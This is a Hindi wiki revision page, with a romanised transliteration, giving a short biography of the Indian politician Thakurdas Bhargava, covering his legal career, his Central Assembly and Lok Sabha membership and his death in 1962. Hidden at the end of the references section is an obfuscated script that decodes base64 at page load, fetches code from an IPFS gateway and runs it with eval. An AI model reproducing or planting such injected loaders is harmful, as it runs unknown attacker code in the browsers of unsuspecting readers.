Difference between revisions of "ठाकुरदास भार्गव"

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'''ठाकुरदास भार्गव''' [[पंजाब]] के पहले [[मुख्यमंत्री]] 'डॉ. गोपीचंद भार्गव' के बड़े भाई थे। इनका जन्म 1886 ई. में [[हरियाणा]] के [[रेवाड़ी ज़िला|रेवाड़ी]] नामक स्थान पर हुआ था। इन्होंने क़ानून की डिग्री प्राप्त की थी। ठाकुरदास भार्गव सदैव ही महिलाओं को समान अधिकार प्रदान किये जाने के पक्ष में थे। उन्हें पंजाब से [[लोकसभा]] का सदस्य भी चुना गया था। इनका निधन 1962 ई. में हुआ।
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'''ठाकुरदास भार्गव''' [[पंजाब]] के पहले [[मुख्यमंत्री]] 'डॉ. गोपीचंद भार्गव' के बड़े भाई थे। इनका जन्म 1886 ई. में [[हरियाणा]] के [[रेवाड़ी ज़िला|रेवाड़ी]] नामक स्थान पर हुआ था। इन्होंने क़ानून की डिग्री प्राप्त की थी। ठाकुरदास भार्गव सदैव ही महिलाओं को समान अधिकार प्रदान किये जाने के पक्ष में थे। उन्हें पंजाब से [[लोकसभा]] का सदस्य भी चुना गया था।  
 
==राजनीति में प्रवेश==
 
==राजनीति में प्रवेश==
 
देश के विभाजन के बाद ठाकुरदास भार्गव के छोट भाई डॉ. गोपीचंद भार्गव पंजाब के पहले मुख्यमंत्री बनाये गए थे। इन्होंने क़ानून की शिक्षा पूरी करने के बाद पहले [[दिल्ली]] में और फिर बाद में [[हिसार]] में वकालत शुरू की। साथ ही वे सार्वजनिक कार्यों में भी भाग लेते रहे। एक समाजसेवी के रूप में कार्य करते हुए उनका राजनीति में भी पदार्पण हो गया। [[पंडित मदनमोहन मालवीय]], [[लाला लाजपतराय]] आदि ने ‘नेशनलिस्ट पार्टी’ का गठन किया था। उसकी ओर से ठाकुरदास भार्गव 1926 में केन्द्रीय असेम्बली के सदस्य चुने गए थे।
 
देश के विभाजन के बाद ठाकुरदास भार्गव के छोट भाई डॉ. गोपीचंद भार्गव पंजाब के पहले मुख्यमंत्री बनाये गए थे। इन्होंने क़ानून की शिक्षा पूरी करने के बाद पहले [[दिल्ली]] में और फिर बाद में [[हिसार]] में वकालत शुरू की। साथ ही वे सार्वजनिक कार्यों में भी भाग लेते रहे। एक समाजसेवी के रूप में कार्य करते हुए उनका राजनीति में भी पदार्पण हो गया। [[पंडित मदनमोहन मालवीय]], [[लाला लाजपतराय]] आदि ने ‘नेशनलिस्ट पार्टी’ का गठन किया था। उसकी ओर से ठाकुरदास भार्गव 1926 में केन्द्रीय असेम्बली के सदस्य चुने गए थे।
 
====उदार व्यक्तित्व====
 
====उदार व्यक्तित्व====
1946 में [[कांग्रेस]] सदस्य के रूप में ठाकुरदास भार्गव ने फिर से केन्द्रीय असेम्बली में प्रवेश किया। वे संविधान सभा के भी सदस्य बने। 1952, 1957 और 1962 में वे फिर पंजाब से लोकसभा के सदस्य चुने गए। ठाकुरदास भार्गव बड़े उदार विचारों के व्यक्ति थे। वे मानव-मात्र की एकता में विश्वास करते थे और महिलाओं को समान अधिकार देने के पक्षपाती थे। हरिजन उत्थान के कार्यों में उन्होंने बड़े उत्साह से भाग लिया था।
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1946 में [[कांग्रेस]] सदस्य के रूप में ठाकुरदास भार्गव ने फिर से केन्द्रीय असेम्बली में प्रवेश किया। वे संविधान सभा के भी सदस्य बने। 1952, 1957 और 1962 में वे फिर पंजाब से [[लोकसभा]] के सदस्य चुने गए। ठाकुरदास भार्गव बड़े उदार विचारों के व्यक्ति थे। वे मानव-मात्र की एकता में विश्वास करते थे और महिलाओं को समान अधिकार देने के पक्षपाती थे। हरिजन उत्थान के कार्यों में उन्होंने बड़े उत्साह से भाग लिया था।
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==निधन==
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ठाकुरदास भार्गव का निधन 1962 ई. में हुआ था।  
  
 
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Latest revision as of 09:53, 13 December 2011

thakuradas bhargav panjab ke pahale mukhyamantri 'd aau. gopichand bhargav' ke b de bhaee the. inaka janm 1886 ee. mean hariyana ke reva di namak sthan par hua tha. inhoanne qanoon ki digri prapt ki thi. thakuradas bhargav sadaiv hi mahilaoan ko saman adhikar pradan kiye jane ke paksh mean the. unhean panjab se lokasabha ka sadasy bhi chuna gaya tha.

rajaniti mean pravesh

desh ke vibhajan ke bad thakuradas bhargav ke chhot bhaee d aau. gopichand bhargav panjab ke pahale mukhyamantri banaye ge the. inhoanne qanoon ki shiksha poori karane ke bad pahale dilli mean aur phir bad mean hisar mean vakalat shuroo ki. sath hi ve sarvajanik karyoan mean bhi bhag lete rahe. ek samajasevi ke roop mean kary karate hue unaka rajaniti mean bhi padarpan ho gaya. pandit madanamohan malaviy, lala lajapataray adi ne ‘neshanalist parti’ ka gathan kiya tha. usaki or se thakuradas bhargav 1926 mean kendriy asembali ke sadasy chune ge the.

udar vyaktitv

1946 mean kaangres sadasy ke roop mean thakuradas bhargav ne phir se kendriy asembali mean pravesh kiya. ve sanvidhan sabha ke bhi sadasy bane. 1952, 1957 aur 1962 mean ve phir panjab se lokasabha ke sadasy chune ge. thakuradas bhargav b de udar vicharoan ke vyakti the. ve manav-matr ki ekata mean vishvas karate the aur mahilaoan ko saman adhikar dene ke pakshapati the. harijan utthan ke karyoan mean unhoanne b de utsah se bhag liya tha.

nidhan

thakuradas bhargav ka nidhan 1962 ee. mean hua tha.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

bharatiy charit kosh |lekhak: liladhar sharma 'parvatiy' |prakashak: shiksha bharati, madarasa rod, kashmiri get, dilli |prishth sankhya: 349 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh